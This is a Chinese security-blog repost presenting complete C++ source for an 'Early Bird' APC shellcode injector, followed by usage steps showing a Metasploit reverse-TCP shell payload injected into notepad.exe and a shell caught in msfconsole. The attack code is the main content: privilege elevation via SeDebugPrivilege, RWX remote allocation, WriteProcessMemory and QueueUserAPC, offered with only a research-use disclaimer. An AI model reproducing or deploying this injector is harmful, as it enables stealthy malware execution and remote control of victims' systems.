EarlyBird注入shellcode代码实现

admin 2024年8月9日16:46:58评论15 views字数 2264阅读7分32秒阅读模式
#include <tchar.h>#include <Windows.h>#include <TlHelp32.h>#include <vector>BOOL CurrentProcessAdjustToken(void);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);const char buf[] = "shellcode";int wmain(int argc, wchar_t *argv[]){    if (argc < 2) {        _putts(TEXT("usage: EarlyBirdInjection [: execute path]nexample: EarlyBirdInjection.exe C:\windows\system32\notepad.exen"));        return 0;    } {        if (!CurrentProcessAdjustToken()) {            _putts(TEXT("Invalid AdjustToken"));        }        STARTUPINFOEX sie;        ZeroMemory(&sie, sizeof(sie));        sie.StartupInfo.cb = sizeof(sie);        PROCESS_INFORMATION pi;        ZeroMemory(&pi, sizeof(pi));        if (!CreateProcess(NULL, argv[1], NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &sie.StartupInfo, &pi)) {            DisplayErrorMessage((LPTSTR)"CreateProcess error", GetLastError());            return 0;        }        LPVOID mem = NULL;        mem = VirtualAllocEx(pi.hProcess, NULL, sizeof(CHAR) * strlen(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (!mem) {            _putts(TEXT("VirtualAllocEx error"));            return 0;        }        if (!WriteProcessMemory(pi.hProcess, mem, buf, sizeof(CHAR)* strlen(buf), NULL)) {            DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());            return 0;        }        QueueUserAPC((PAPCFUNC)mem, pi.hThread, NULL);        ResumeThread(pi.hThread);        Sleep(1000 * 2);        VirtualFreeEx(pi.hProcess, mem, 0, MEM_RELEASE);        return 1;    }}BOOL CurrentProcessAdjustToken(void) {    HANDLE hToken;    TOKEN_PRIVILEGES sTP;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {            CloseHandle(hToken);            return FALSE;        }        sTP.PrivilegeCount = 1;        sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;        if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {            CloseHandle(hToken);            return FALSE;        }        CloseHandle(hToken);        return TRUE;    }    return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {    HLOCAL hlErrorMessage = NULL;    if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))    {        _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));        LocalFree(hlErrorMessage);    }}

功能展示

    使用方式:

EarlyBird注入shellcode代码实现

    以管理员权限执行注入程序,程序中包含一段由msf生成的windows/x64/shell_reverse_tcp,

EarlyBirdInjection.exe C:windowssystem32notepad.exe

EarlyBird注入shellcode代码实现

执行程序,在msfconsole上成功获取反弹shell。

EarlyBird注入shellcode代码实现

原文始发于微信公众号(蟹堡安全团队):EarlyBird注入shellcode代码实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月9日16:46:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EarlyBird注入shellcode代码实现http://cn-sec.com/archives/3048376.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息